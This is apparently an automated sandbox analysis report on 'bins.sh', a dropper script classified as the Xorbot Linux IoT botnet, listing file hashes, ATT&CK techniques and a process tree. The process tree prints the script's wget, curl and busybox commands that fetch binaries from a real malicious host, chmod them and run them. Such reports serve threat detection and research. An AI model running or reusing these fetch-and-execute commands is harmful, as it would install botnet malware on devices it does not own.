xorbot | 641bfa6fb04b615de3424c5c914833a0928fd5c9df883aec915c102ad85b48bc

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
01-12-2024 13:42

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General

Target

bins.sh
Size

10KB
MD5

b7efdb6411845379ea3e0068e4024978
SHA1

84d6dc35c3a3bf37878895192e863bad21231e36
SHA256

641bfa6fb04b615de3424c5c914833a0928fd5c9df883aec915c102ad85b48bc
SHA512

7a70881e139c4e468f8272002cd1c78fc03f50b7becd58a08ca44c692be4b6ec853046780c0a07ba4bdc1f7fc7affce4f4d186c5f3aafe553db2bb639bbd14b1
SSDEEP

192:9FOQlBXQhxBh0fjsbXzCtFYTHAw0XzCtFwTHhkOQlBsnBh0fj6:9FOQlpQhxBh0fjsbXzCtFYTHAw0XzCtg

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 2 IoCs

botnet trojan

Processes:

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmod

pid	Process
808	chmod

Executes dropped EXE 1 IoCs

Processes:

hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

ioc	pid	Process
/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	809	hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

Reads runtime system information 2 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurl

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

Processes:

wgetcurlbusyboxwgetcurl

pid	Process
706	wget
723	curl
807	busybox
812	wget
813	curl

Writes file to tmp directory 4 IoCs

Malware often drops required files in the /tmp directory.

Processes:

wgetwgetcurlbusybox

description	ioc	Process
File opened for modification	/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2	wget
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	wget
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	curl
File opened for modification	/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:701
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:706
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/chmod
  chmod 777 hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  ./hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  - Executes dropped EXE
  PID:809
- /bin/rm
  rm hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH
  2⤵
  PID:811
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:812
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:813

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/KQD7mDitUK61nXEGikFgNGJGuNxxeAoxJ2

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/hJRzjTzCTyN1B5vyD91ZEEM6tNEPRgdMqH

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit